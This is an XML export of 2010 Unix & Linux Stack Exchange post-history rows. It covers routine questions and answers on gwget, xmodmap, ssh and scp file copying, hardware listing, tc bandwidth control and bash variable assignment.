  <row Id="9947" PostHistoryTypeId="2" PostId="4551" RevisionGUID="ee789bd8-133b-4edd-a83c-d659ae5f0c86" CreationDate="2010-12-05T17:49:27.120" UserId="1207" Text="The following directions work for me:&#xD;&#xA;&#xD;&#xA;1. Open Gwget&#xD;&#xA;2. Press the &quot;New&quot; icon or select Archive -&gt; New from the menu.&#xD;&#xA;3. In the URL box put the URL of the site that you want to recursively download.&#xD;&#xA;4. Press OK.&#xD;&#xA;5. A Dialog Box should appear with various options for recursive download.&#xD;&#xA;6. Choose one that makes sense for you.&#xD;&#xA;&#xD;&#xA;![Wget Recursive Options Dialog][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/WfWOn.png" />
  <row Id="9948" PostHistoryTypeId="5" PostId="4548" RevisionGUID="dbedf92e-d545-439a-b2f7-b50f074dedb8" CreationDate="2010-12-05T18:38:44.327" UserId="73" Comment="added 31 characters in body; edited title" Text="I usually run `wget` with the `-np -r` options, but it doesn't include a preview of the queue size, so I'm checking out the `wget` frontend `gwget` (on debian). I can't get the recursive option to work; does anybody know how to do it?" />
  <row Id="9949" PostHistoryTypeId="4" PostId="4548" RevisionGUID="dbedf92e-d545-439a-b2f7-b50f074dedb8" CreationDate="2010-12-05T18:38:44.327" UserId="73" Comment="added 31 characters in body; edited title" Text="How to do a recursive download with gwget (wget frontend)?" />
  <row Id="9950" PostHistoryTypeId="5" PostId="4541" RevisionGUID="eb564863-1b86-44e0-814e-b3f6364beee8" CreationDate="2010-12-05T18:55:08.957" UserId="1535" Comment="add info on ca-multix" Text="I'm getting this error when trying to use `xmodmap` to get rid of caps lock:&#xD;&#xA;&#xD;&#xA;    $ xmodmap -e 'clear Lock'&#xD;&#xA;    X Error of failed request:  BadValue (integer parameter out of range for operation)&#xD;&#xA;      Major opcode of failed request:  118 (X_SetModifierMapping)&#xD;&#xA;      Value in failed request:  0x17&#xD;&#xA;      Serial number of failed request:  8&#xD;&#xA;      Current serial number in output stream:  8&#xD;&#xA;&#xD;&#xA;I'm running xfce.  This problem did not occur before I added the Keyboard Layouts applet to a panel; before doing that, I was able to run my xmodmap script to swap Esc and CapsLock:&#xD;&#xA;&#xD;&#xA;    !Remap Caps_Lock as Escape&#xD;&#xA;    remove Lock = Caps_Lock&#xD;&#xA;    keysym Caps_Lock = Escape&#xD;&#xA;&#xD;&#xA;It may be relevant that I chose alt-capslock as the keyboard switch combo in the Keyboard Layouts preferences.&#xD;&#xA;&#xD;&#xA;I've had a similar problem before, on a different machine, running openbox.  On that machine, this problem started when I upgraded to Lucid.  I reported a [bug](https://bugs.freedesktop.org/show_bug.cgi?id=31436) in xorg.  However, it remains unclear whether it's really a problem with xorg, or if I'm just doing something wrong with my configuration.&#xD;&#xA;&#xD;&#xA;Have other people experienced this problem?  Can someone shed some light on what's going on here?  It seems there are quite a few layers involved, and I don't understand any of them particularly well, so any information would be helpful.&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;I've discovered that the problem is specifically triggered by adding the Canada layout variant &quot;Multilingual&quot; (ca-multix).  If I instead add the variant &quot;Multilingual (first part)&quot;, the problem does not occur.  I think this will probably end up being a usable workaround, but I don't yet know what the difference between these variants is.&#xD;&#xA;&#xD;&#xA;I've filed a [freedesktop issue], and am commenting on a related [ubuntu issue].&#xD;&#xA;&#xD;&#xA;[freedesktop issue]: https://bugs.freedesktop.org/process_bug.cgi&#xD;&#xA;[ubuntu issue]: https://bugs.launchpad.net/ubuntu/+source/xorg-server/+bug/524774" />
  <row Id="9951" PostHistoryTypeId="5" PostId="4551" RevisionGUID="f585b0cd-8da1-4320-87d3-fa973a109bd2" CreationDate="2010-12-05T19:16:38.557" UserId="1207" Comment="added 182 characters in body; added 46 characters in body; added 2 characters in body" Text="**EDIT**&#xD;&#xA;Unfortunately, my initial test was a bit hasty.  It seems that Gwget has a bug:&#xD;&#xA;&#xD;&#xA;https://bugzilla.gnome.org/show_bug.cgi?id=628514&#xD;&#xA;&#xD;&#xA;https://bugs.launchpad.net/gwget/+bug/626607&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;The following directions *should* work but doesn't seem to:&#xD;&#xA;&#xD;&#xA;1. Open Gwget&#xD;&#xA;2. Press the &quot;New&quot; icon or select Archive -&gt; New from the menu.&#xD;&#xA;3. In the URL box put the URL of the site that you want to recursively download.&#xD;&#xA;4. Press OK.&#xD;&#xA;5. A Dialog Box should appear with various options for recursive download.&#xD;&#xA;6. Choose one that makes sense for you.&#xD;&#xA;&#xD;&#xA;![Wget Recursive Options Dialog][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/WfWOn.png" />
  <row Id="9952" PostHistoryTypeId="5" PostId="3598" RevisionGUID="ac4bb8f0-99b6-4d16-9794-38bb9901b3ee" CreationDate="2010-12-05T19:59:04.277" UserId="1327" Comment="edited body" Text="Michael's [answer][2] is right, and should sort out your problem. Running&#xD;&#xA;&#xD;&#xA;    cat file | xargs -I % curl http://example.com/persons/%.tar&#xD;&#xA;&#xD;&#xA;will download files `bob.tar` `john.tar.` `sue.tar` as expected.&#xD;&#xA;&#xD;&#xA;**BUT**: [Cat is Useless][1]&#xD;&#xA;&#xD;&#xA;rather use:&#xD;&#xA;&#xD;&#xA;    &lt;file xargs -I % curl http://example.com/persons/%.tar&#xD;&#xA;&#xD;&#xA;[1]:http://partmaps.org/era/unix/award.html&#xD;&#xA;[2]:http://unix.stackexchange.com/questions/3593/using-xargs-with-input-from-a-file/3598#3598" />
  <row Id="9953" PostHistoryTypeId="2" PostId="4552" RevisionGUID="088a28af-4411-4385-9e60-128dc6eb3b03" CreationDate="2010-12-05T20:37:16.207" UserId="1325" Text="Hi,&#xD;&#xA; &#xD;&#xA; I am logged into ssh to a university account from my home computer. Then I find a file that I want to copy onto my local system. So I open a new shell terminal and am about to use scp to copy that file onto my system. But the path to the file on the system I am ssh'ed into is long so I select it with the mouse and then paste it with the mouse into the other locally connected terminal.&#xD;&#xA;&#xD;&#xA; What I would like to do is something along the lines of; feed the output of &quot;pwd&quot; into a variable that is temporary and visible to all terminals even though I made it under the ssh'ed terminal, or some other way that I can't think of.&#xD;&#xA;&#xD;&#xA;Best," />
  <row Id="9954" PostHistoryTypeId="1" PostId="4552" RevisionGUID="088a28af-4411-4385-9e60-128dc6eb3b03" CreationDate="2010-12-05T20:37:16.207" UserId="1325" Text="copy text from one terminal into another" />
  <row Id="9955" PostHistoryTypeId="3" PostId="4552" RevisionGUID="088a28af-4411-4385-9e60-128dc6eb3b03" CreationDate="2010-12-05T20:37:16.207" UserId="1325" Text="écommandölineàébashàésshàéterminalàécpà" />
  <row Id="9956" PostHistoryTypeId="2" PostId="4553" RevisionGUID="03ffa279-965f-4f7f-973c-a229b3786d41" CreationDate="2010-12-05T21:04:11.447" UserId="1900" Text="Reported bugs through bugzilla, anything else I can do?&#xD;&#xA;&#xD;&#xA;I'm actually a bit disappointed as a friend of mine is a network admin and he told me they have a linux server that has not been rebooted for a few years now, so why is mine crashing co often? I'm a big fun of Debian and Fedora, but Fedora latest release keeps annoying me.&#xD;&#xA;Is the only solution to switch to something more stable, like Debian Lenny or hopefully Fedora 11 or 12? " />
  <row Id="9957" PostHistoryTypeId="1" PostId="4553" RevisionGUID="03ffa279-965f-4f7f-973c-a229b3786d41" CreationDate="2010-12-05T21:04:11.447" UserId="1900" Text="My Fedora 13 crashes several times a day. " />
  <row Id="9958" PostHistoryTypeId="3" PostId="4553" RevisionGUID="03ffa279-965f-4f7f-973c-a229b3786d41" CreationDate="2010-12-05T21:04:11.447" UserId="1900" Text="éfedoraàédebianàéstabilityà" />
  <row Id="9959" PostHistoryTypeId="2" PostId="4554" RevisionGUID="f986bf57-e00f-47a5-b9dd-dfd69ca9e9a9" CreationDate="2010-12-05T21:13:19.163" UserId="2180" Text="A Linux crash is almost invariably caused by a hardware driver. I would start by looking at the graphics card driver. Find an alternative driver that can support your hardware (for instance, if you have an Nvidia graphics chipset, find out if you have the proprietary or open-source version of the driver installed and install the other one then see if the problem persists.&#xD;&#xA;&#xD;&#xA;After you determine which driver is causing the problem, you should submit a bug report. Then you can make a decision to either switch to an alternative driver permanently, try to install the latest version of the same driver manually, or to wait for Fedora to update the driver in the repositories." />
  <row Id="9960" PostHistoryTypeId="5" PostId="4553" RevisionGUID="434b85e7-83a0-45c6-b783-d2be7674479d" CreationDate="2010-12-05T21:13:28.363" UserId="1900" Comment="edited body" Text="Reported bugs through bugzilla, anything else I can do?&#xD;&#xA;&#xD;&#xA;I'm actually a bit disappointed as a friend of mine is a network admin and he told me they have a linux server that has not been rebooted for a few years now, so why is mine crashing so often? I'm a big fun of Debian and Fedora, but Fedora latest release keeps annoying me.&#xD;&#xA;Is the only solution to switch to something more stable, like Debian Lenny or hopefully Fedora 11 or 12? " />
  <row Id="9961" PostHistoryTypeId="2" PostId="4555" RevisionGUID="a31ce211-444f-45f8-8848-0f6d35badccf" CreationDate="2010-12-05T21:18:32.463" UserId="1946" Text="If you have ssh server running on your home machine, you may do the reverse `scp`:&#xD;&#xA;&#xD;&#xA;`[student@university ~/rather/long/path/to/interesting/file]$ scp ./secrect.txt user@myhomesystem.net:~`" />
  <row Id="9962" PostHistoryTypeId="5" PostId="4550" RevisionGUID="5678981f-9422-4eb8-9f71-a0d1544e84da" CreationDate="2010-12-05T21:27:29.063" UserId="2974" Comment="added 109 characters in body" Text="So far as I know (as a regular user of SCO Unix) the &quot;@&quot; and &quot;%&quot; prefixes have no meaning in SCO Unix and are probably something used by the ERP system. You can list printers using the command `lpstat -pDl`. If, as I suspect, you see `lp5` and not `%lp5` that would confirm that the prefix is something used by the application.&#xD;&#xA;&#xD;&#xA;I believe the printer interface scripts are expected to work in the background without any connection to a specific interactive session - so they might not be a suitable place to introduce an interactive dialogue with a user. &#xD;&#xA;&#xD;&#xA;If the application invokes `lp` or `lpr` - you could probably replace those with a suitable shell script." />
  <row Id="9963" PostHistoryTypeId="2" PostId="4556" RevisionGUID="42d91642-8497-4f88-9eb1-814f0faebc27" CreationDate="2010-12-05T21:30:41.000" UserId="382" Text="The way to do that is to use an ordinary file or a named pipe.&#xD;&#xA;&#xD;&#xA;Why not do the `scp` in the original terminal in the first place (even in the background)?&#xD;&#xA;&#xD;&#xA;If the host system uses `proc`, in the second terminal do `cd -P /proc/PID/cwd` then do your `scp` from `.` (where PID is that of the shell which is in the cwd/pwd that you are interested in)." />
  <row Id="9964" PostHistoryTypeId="2" PostId="4557" RevisionGUID="c3279829-64cf-43bb-ae38-f627bc7bd141" CreationDate="2010-12-05T21:31:01.330" UserId="885" Text="If you have X forwarding active (`ssh -X`, `ForwardX11` in `~/.ssh/config`, or any other method), you can manipulate the X selection from the shell:&#xD;&#xA;&#xD;&#xA;    printf %s &quot;$PWD&quot; | xsel -i&#xD;&#xA;&#xD;&#xA;Depending on your terminal emulator, you may want to set the CLIPBOARD (`xsel -bi`) instead of the PRIMARY selection (`xsel -p`). You can also use the SECONDARY selection (`xsel -si`).&#xD;&#xA;&#xD;&#xA;You can use the middle mouse button to paste the PRIMARY selection, or (in some terminals) the CLIPBOARD with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt;, or you can use `xsel` (or `xsel -s` or `xsel -b`) in the shell on the other side.&#xD;&#xA;&#xD;&#xA;There are other possible workflows, involving for example a reverse ssh connection, `~` escapes, or [zssh](http://zssh.sourceforge.net/). See [SSH easily copy file to local system](http://unix.stackexchange.com/q/2857/885), [Download a file over an active SSH session](http://askubuntu.com/q/13382/1059). You could also mount the remote filesystem over [sshfs](http://fuse.sourceforge.net/sshfs.html).&#xD;&#xA;" />
  <row Id="9965" PostHistoryTypeId="2" PostId="4558" RevisionGUID="2e119092-19c9-4d3f-aae6-3e1e329cf1ae" CreationDate="2010-12-05T22:10:45.983" UserId="2978" Text="If your terminal supports the zmodem protocol (KDE's Konsole does), and the remote system has the lrzsz package installed, you can trigger a direct transfer via the terminal using:&#xD;&#xA;&#xD;&#xA;    sz foo.txt&#xD;&#xA;&#xD;&#xA;Konsole prompts you were to save the file and that's that. GNU screen apparently has zmodem support too." />
  <row Id="9966" PostHistoryTypeId="2" PostId="4559" RevisionGUID="7c6ec9f0-6d29-4729-a392-b6736b0a451a" CreationDate="2010-12-06T04:22:19.550" UserId="2683" Text="What command(s) can show me the hardware information of a computer?" />
  <row Id="9967" PostHistoryTypeId="1" PostId="4559" RevisionGUID="7c6ec9f0-6d29-4729-a392-b6736b0a451a" CreationDate="2010-12-06T04:22:19.550" UserId="2683" Text="Command to get CPU, hard drive space, etc." />
  <row Id="9968" PostHistoryTypeId="3" PostId="4559" RevisionGUID="7c6ec9f0-6d29-4729-a392-b6736b0a451a" CreationDate="2010-12-06T04:22:19.550" UserId="2683" Text="écommandölineàéhardwareà" />
  <row Id="9969" PostHistoryTypeId="2" PostId="4560" RevisionGUID="985e3035-f21d-4755-b84a-3440f0b30adc" CreationDate="2010-12-06T04:38:11.717" UserId="688" Text="To display a nice overview of my hardware, I use `lshw`, best run as root:&#xD;&#xA;&#xD;&#xA;    sudo lshw -short&#xD;&#xA;&#xD;&#xA;To check my HDD usage, I use `df`, which should be available by default on any Linux-based system (not sure about others):&#xD;&#xA;&#xD;&#xA;    df -h" />
  <row Id="9970" PostHistoryTypeId="5" PostId="4560" RevisionGUID="554e82f2-1459-4193-ade8-da20c1464321" CreationDate="2010-12-06T05:01:50.363" UserId="688" Comment="add link; added 38 characters in body" Text="To display a nice overview of my hardware, I use `lshw`, best run as root:&#xD;&#xA;&#xD;&#xA;    sudo lshw -short&#xD;&#xA;&#xD;&#xA;To check my HDD usage, I use `df`, which should be available by default on any Linux-based system (not sure about others):&#xD;&#xA;&#xD;&#xA;    df -h&#xD;&#xA;&#xD;&#xA;Also, have a look at [checking hardware on linux][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/2300/checking-hardware-on-linux" />
  <row Id="9971" PostHistoryTypeId="2" PostId="4561" RevisionGUID="171aa648-3c1e-4c37-b532-ed4c3b5914f0" CreationDate="2010-12-06T07:58:11.280" UserId="29" Text="I need to know what hard disks are available, including ones that aren't mounted, possibly aren't formatted. I can't find them in `dmesg` so... I'm thinking there's a way to use `/dev` or `/proc` to find out, but I don't know what it is." />
  <row Id="9972" PostHistoryTypeId="1" PostId="4561" RevisionGUID="171aa648-3c1e-4c37-b532-ed4c3b5914f0" CreationDate="2010-12-06T07:58:11.280" UserId="29" Text="How do I find out what hard disks are in the system?" />
  <row Id="9973" PostHistoryTypeId="3" PostId="4561" RevisionGUID="171aa648-3c1e-4c37-b532-ed4c3b5914f0" CreationDate="2010-12-06T07:58:11.280" UserId="29" Text="édevicesàévirtualöfilesystemsàéprocàédevà" />
  <row Id="9974" PostHistoryTypeId="5" PostId="4561" RevisionGUID="737df53c-e599-48d8-8d96-bbc6349564f6" CreationDate="2010-12-06T08:03:27.123" UserId="29" Comment="explain" Text="I need to know what hard disks are available, including ones that aren't mounted, possibly aren't formatted. I can't find them in `dmesg` or `/var/log/messages` (too much scroll) so... I'm thinking there's a way to use `/dev` or `/proc` to find out, but I don't know what it is." />
  <row Id="9975" PostHistoryTypeId="2" PostId="4562" RevisionGUID="2097e5c1-b917-4710-bc20-871cf1eb6800" CreationDate="2010-12-06T08:13:09.980" UserId="98" Text="How about&#xD;&#xA;&#xD;&#xA;    lshw -class disk&#xD;&#xA;" />
  <row Id="9976" PostHistoryTypeId="2" PostId="4563" RevisionGUID="12c8b4ac-627a-44fc-bb88-929f84435c01" CreationDate="2010-12-06T08:25:34.710" UserId="885" Text="This is highly platform-dependent. Also different methods may treat edge cases differently (“fake” disks of various kinds, RAID volumes, …).&#xD;&#xA;&#xD;&#xA;Under Linux 2.6, each disk and disk-like device has an entry undr `/sys/block`. Under Linux since the dawn of time, disks and partitions are listed in `/proc/partitions`. Alternatively, you can use [lshw](http://ezix.org/project/wiki/HardwareLiSter): `lshw -class disk`.&#xD;&#xA;&#xD;&#xA;If you have an `fdisk` or `disklabel` utility, it might be able to tell you what devices it's able to work on.&#xD;&#xA;&#xD;&#xA;You will find utility names for many unix variants on the [Rosetta Stone for Unix](http://bhami.com/rosetta.html), in particular the “list hardware configuration” and “read a disk label” lines.&#xD;&#xA;" />
  <row Id="9977" PostHistoryTypeId="2" PostId="4564" RevisionGUID="20458045-cf92-4c5e-a08b-c187094fe8e7" CreationDate="2010-12-06T08:29:48.700" UserId="885" Text="This is highly variable between unix variants. Check the column for your variant on the [Rosetta Stone for Unix](http://bhami.com/rosetta.html).&#xD;&#xA;&#xD;&#xA;Under Linux, [lshw](http://ezix.org/project/wiki/HardwareLiSter) collects a lot of information scattered in various text files under `/proc` and `/sys`.&#xD;&#xA;" />
  <row Id="9978" PostHistoryTypeId="2" PostId="4565" RevisionGUID="620c3f88-d94b-4bb4-8216-37ad3ec25860" CreationDate="2010-12-06T12:35:26.663" UserId="2983" Text="Hi all,&#xD;&#xA;&#xD;&#xA;How do we control both inbound and outbound bandwidth in Rhel 5 router??&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="9979" PostHistoryTypeId="1" PostId="4565" RevisionGUID="620c3f88-d94b-4bb4-8216-37ad3ec25860" CreationDate="2010-12-06T12:35:26.663" UserId="2983" Text="bandwidth control in linux" />
  <row Id="9980" PostHistoryTypeId="3" PostId="4565" RevisionGUID="620c3f88-d94b-4bb4-8216-37ad3ec25860" CreationDate="2010-12-06T12:35:26.663" UserId="2983" Text="élinuxà" />
  <row Id="9981" PostHistoryTypeId="6" PostId="4561" RevisionGUID="a7a93ae6-4975-4966-a4ee-30e4feed32c0" CreationDate="2010-12-06T12:38:54.040" UserId="29" Comment="add sys tag for the /sys virtual filesystem" Text="édevicesàévirtualöfilesystemsàéprocàédevàésysà" />
  <row Id="9982" PostHistoryTypeId="6" PostId="4559" RevisionGUID="10b9e31b-c196-468d-a168-65028a4e1a78" CreationDate="2010-12-06T12:57:01.957" UserId="29" Comment="I think it's safe to assume this is a linux question" Text="élinuxàécommandölineàéhardwareà" />
  <row Id="9983" PostHistoryTypeId="2" PostId="4566" RevisionGUID="1f49d1d9-f52e-40cb-835c-3ce0c526a173" CreationDate="2010-12-06T13:00:07.990" UserId="29" Text="for cpu info&#xD;&#xA;&#xD;&#xA;`cat /proc/cpuinfo`&#xD;&#xA;&#xD;&#xA;for disk usage&#xD;&#xA;&#xD;&#xA;`df -h`&#xD;&#xA;&#xD;&#xA;for pci cards and buses&#xD;&#xA;&#xD;&#xA;`lspci`&#xD;&#xA;&#xD;&#xA;you may find `lshw` useful&#xD;&#xA;&#xD;&#xA;if you need usb devices&#xD;&#xA;&#xD;&#xA;`lsusb`" />
  <row Id="9984" PostHistoryTypeId="5" PostId="4561" RevisionGUID="0bae5dbf-2121-4ee3-a9e3-534d1515ec8d" CreationDate="2010-12-06T13:06:58.020" UserId="29" Comment="clarify OS" Text="I need to know what hard disks are available, including ones that aren't mounted, possibly aren't formatted. I can't find them in `dmesg` or `/var/log/messages` (too much scroll) so... I'm thinking there's a way to use `/dev` or `/proc` to find out, but I don't know what it is. *for some clarification this is linux*" />
  <row Id="9985" PostHistoryTypeId="5" PostId="4148" RevisionGUID="a6e0b417-2eee-40d7-8528-7d5a72b4c8db" CreationDate="2010-12-06T14:08:26.337" UserId="2700" Comment="highlighting what I think the real issue is" Text="I'm using SSH (with -X specified) from a Ubuntu box to a RHEL4 box and running GVim. It opens as expected in my local X, but the copy and paste via select doesn't work. I cannot select text in GVim and paste in a local window, nor can I select text from a local window and paste in GVim. This works, however, when I SSH (with -X specified) to a different RHEL4 box.&#xD;&#xA;&#xD;&#xA;Is there something I need to install on the remote machine?&#xD;&#xA;&#xD;&#xA;I am running Parcellite 0.9.2 on the local box, but closing it doesn't make the problem go away, and it is not interfering with the other box.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - Thanks for the help so far, guys.&#xD;&#xA; - To clarify, copy/paste via select&#xD;&#xA;   works on a GVim window spawned from&#xD;&#xA;   box A, but not on a GVim window&#xD;&#xA;   spawned from box B. Both box A and&#xD;&#xA;   box B are RHEL4 U8. &#xD;&#xA; - When I select&#xD;&#xA;   some text in the GVim window, I can&#xD;&#xA;   paste it via right-click within that&#xD;&#xA;   window, but I cannot paste it into&#xD;&#xA;   anything running locally.  When I&#xD;&#xA;   select something locally, I can paste&#xD;&#xA;   it locally but when I paste into the&#xD;&#xA;   GVim window, it pastes the last thing&#xD;&#xA;   selected in the GVim window, not the&#xD;&#xA;   last thing selected locally.&#xD;&#xA; - Just to make it a bit freakier, *sometimes* I open a second GVim window from the same box, I can paste into that second window (though still not the first), but I still cannot select something in that window and paste it locally.&#xD;&#xA; - I get the same behaviour using Ctrl-Shift-C.  Holding shift while selecting with the mouse prevents selecting.  Ctrl-Shift-V starts block selection in vim, not pasting.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - The machine that is presenting the problem is a vitual machine running on VM Player.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - A co-worker that is also SSHing to a virtual RHES4 U8 box does not have the same issue but he used the **stock vim install** on the VM whereas myself and another co-worker with the problem **compiled vim from source**.  Could there be a compile flag we need?&#xD;&#xA; - I tried installing VM tools on one of the VMs, but it had no effect on this issue.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA; - The .vimrc between my two boxes is the same, scp'ed over." />
  <row Id="9989" PostHistoryTypeId="2" PostId="4568" RevisionGUID="b82cffd6-2e05-4498-9212-92e34565df81" CreationDate="2010-12-06T14:34:03.477" UserId="1779" Text="`tc` (traffic control), from the [iproute2](http://www.linux-foundation.org/en/Net:Iproute2) suite.&#xD;&#xA;&#xD;&#xA;See the [Linux Advanced Routing &amp;amp; Traffic Control HOWTO](http://lartc.org/howto/) – notably, the [queuing section](http://lartc.org/howto/lartc.qdisc.html) – and [netem](http://www.linux-foundation.org/en/Net:Netem) for help." />
  <row Id="9991" PostHistoryTypeId="2" PostId="4569" RevisionGUID="e66a32b4-f3ed-4b15-9213-c2c1fd6aceb1" CreationDate="2010-12-06T14:57:43.267" UserId="1325" Text="Hi,&#xD;&#xA;  I have an operation using cut that I would like to assign result to a varialbe&#xD;&#xA;&#xD;&#xA;    var4= ztemp.xml |cut -f1 -d '.'&#xD;&#xA;&#xD;&#xA;and I get the error the ztemp.xml is not a command. and the value of var4 never gets assigned to ztemp which is what is given by&#xD;&#xA;&#xD;&#xA;    echo ztemp.xml | cute -f1 -d '.'&#xD;&#xA;&#xD;&#xA;any suggestions?&#xD;&#xA;&#xD;&#xA;Best,&#xD;&#xA;" />
  <row Id="9992" PostHistoryTypeId="1" PostId="4569" RevisionGUID="e66a32b4-f3ed-4b15-9213-c2c1fd6aceb1" CreationDate="2010-12-06T14:57:43.267" UserId="1325" Text="allocating variable in bash" />
  <row Id="9993" PostHistoryTypeId="3" PostId="4569" RevisionGUID="e66a32b4-f3ed-4b15-9213-c2c1fd6aceb1" CreationDate="2010-12-06T14:57:43.267" UserId="1325" Text="écommandölineàébashàéscriptingàéshellöscriptàécoreutilsà" />
  <row Id="9994" PostHistoryTypeId="2" PostId="4570" RevisionGUID="04778afc-635d-4720-88d5-b70c4b50ea5f" CreationDate="2010-12-06T15:06:33.497" UserId="2701" Text="You'll want to modify your assignment to read:&#xD;&#xA;&#xD;&#xA;    var4=`echo ztemp.xml | cut -f1 -d '.'`&#xD;&#xA;" />
  <row Id="9995" PostHistoryTypeId="5" PostId="4569" RevisionGUID="a9c4928e-d82d-4668-abc9-a97c426b08ff" CreationDate="2010-12-06T15:16:00.257" UserId="73" Comment="deleted 11 characters in body; edited title" Text="I have an operation using `cut` that I would like to assign result to a varialbe&#xD;&#xA;&#xD;&#xA;    var4=ztemp.xml |cut -f1 -d '.'&#xD;&#xA;&#xD;&#xA;I get the error:&#xD;&#xA;&#xD;&#xA;&gt; ztemp.xml is not a command&#xD;&#xA;&#xD;&#xA;The value of `var4` never gets assigned; I'm trying to assign it the output of:&#xD;&#xA;&#xD;&#xA;    echo ztemp.xml | cut -f1 -d '.'&#xD;&#xA;&#xD;&#xA;How can I do that?&#xD;&#xA;" />
  <row Id="9996" PostHistoryTypeId="4" PostId="4569" RevisionGUID="a9c4928e-d82d-4668-abc9-a97c426b08ff" CreationDate="2010-12-06T15:16:00.257" UserId="73" Comment="deleted 11 characters in body; edited title" Text="Storing output of command in shell variable" />
  <row Id="9997" PostHistoryTypeId="5" PostId="4565" RevisionGUID="598416ea-eac9-45c7-9d89-ab0049d303b7" CreationDate="2010-12-06T15:20:44.623" UserId="73" Comment="deleted 15 characters in body; edited tags; edited title" Text="How do I control both the inbound and outbound bandwidth in a RHEL 5 router?&#xD;&#xA;" />
  <row Id="9998" PostHistoryTypeId="6" PostId="4565" RevisionGUID="598416ea-eac9-45c7-9d89-ab0049d303b7" CreationDate="2010-12-06T15:20:44.623" UserId="73" Comment="deleted 15 characters in body; edited tags; edited title" Text="élinuxàénetworkingàérhelàébandwidthà" />
  <row Id="9999" PostHistoryTypeId="4" PostId="4565" RevisionGUID="598416ea-eac9-45c7-9d89-ab0049d303b7" CreationDate="2010-12-06T15:20:44.623" UserId="73" Comment="deleted 15 characters in body; edited tags; edited title" Text="Bandwidth control in linux" />
  <row Id="10000" PostHistoryTypeId="5" PostId="4190" RevisionGUID="f7f7a37a-6306-43eb-8dc3-f0da54fa4b08" CreationDate="2010-12-06T15:40:29.343" UserId="73" Comment="added 134 characters in body" Text="One thing that I would try is to make sure that you actually let X handle the selection. If you have `set mouse=a` in your `vimrc` file then vim will interpret the selection as its visual mode. If this is the case, try holding &lt;kbd&gt;Shift&lt;/kbd&gt; when selecting.&#xD;&#xA;&#xD;&#xA;Your terminal emulator may have its own mechanism for copying and pasting, for example gnome-terminal uses &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;c&lt;/kbd&gt; for copying and &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;v&lt;/kbd&gt; for pasting (as Morlock stated in [his answer](http://unix.stackexchange.com/questions/4148/gvim-compiled-from-source-opened-via-ssh-x-does-not-copy-paste-on-selection/4185#4185)). You can use that instead." />
  <row Id="10001" PostHistoryTypeId="2" PostId="4571" RevisionGUID="2988fa3b-4f3b-4fe4-8c1a-4bfe7638172e" CreationDate="2010-12-06T15:50:05.117" UserId="2985" Text="Use `getent passwd nis1` (where `nis1` is the user in your example) to get the passwd entry the NFS client is seeing for 'nis1'. getent respects `nsswitch.conf`, which supplies ordering for nameservice lookups across multiple services (files, nis, ldap, etc...).&#xD;&#xA;&#xD;&#xA;After you determine the UID in that response, compare it to the UID who owns the home directory, `/home/guest/nis1` by running: `stat /home/guest/nis1`.&#xD;&#xA;&#xD;&#xA;Your problem may be that the permissions on the home directory are restrictive such that there is no execute bit for other (o+x) and the UID that owns the directory is not actually the UID that the NFS client can resolve for that username.&#xD;&#xA;&#xD;&#xA;It would be helpful if you provided the output of these commands, even if this answer is not correct so that we can continue to troubleshoot." />
  <row Id="10002" PostHistoryTypeId="2" PostId="4572" RevisionGUID="f3a46d73-e027-46c3-80eb-f2ba8ebf08eb" CreationDate="2010-12-06T16:13:16.897" UserId="2897" Text="KDE centric or not, which Linux distro offers the best KDE experience?" />
  <row Id="10003" PostHistoryTypeId="1" PostId="4572" RevisionGUID="f3a46d73-e027-46c3-80eb-f2ba8ebf08eb" CreationDate="2010-12-06T16:13:16.897" UserId="2897" Text="Which Linux distribution offers the best KDE experience?" />
  <row Id="10004" PostHistoryTypeId="3" PostId="4572" RevisionGUID="f3a46d73-e027-46c3-80eb-f2ba8ebf08eb" CreationDate="2010-12-06T16:13:16.897" UserId="2897" Text="élinuxàékdeàédistributionöchoiceà" />
  <row Id="10005" PostHistoryTypeId="2" PostId="4573" RevisionGUID="e3ff2e19-a875-458d-bde0-07f75b9c4aac" CreationDate="2010-12-06T16:13:44.153" UserId="688" Text="I've hardly ever used anything other than [Meld][1], and I've recently been having issues with it. Can you recommend anything else?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://meld.sourceforge.net/" />
  <row Id="10006" PostHistoryTypeId="1" PostId="4573" RevisionGUID="e3ff2e19-a875-458d-bde0-07f75b9c4aac" CreationDate="2010-12-06T16:13:44.153" UserId="688" Text="What GUI diff viewer would you recommend?" />
  <row Id="10007" PostHistoryTypeId="3" PostId="4573" RevisionGUID="e3ff2e19-a875-458d-bde0-07f75b9c4aac" CreationDate="2010-12-06T16:13:44.153" UserId="688" Text="éguiàésoftwareörecàédiffà" />
  <row Id="10008" PostHistoryTypeId="5" PostId="4572" RevisionGUID="3929cc9a-9aaf-41fa-b07e-a858556d436d" CreationDate="2010-12-06T16:19:06.250" UserId="2897" Comment="added 96 characters in body; added 19 characters in body" Text="KDE centric or not, which Linux distro offers the best KDE experience? Good points to mention:&#xD;&#xA;&#xD;&#xA; - the environment's speed,&#xD;&#xA; - selection of default apps,&#xD;&#xA; - yours here :-)&#xD;&#xA;&#xD;&#xA;Thanks" />
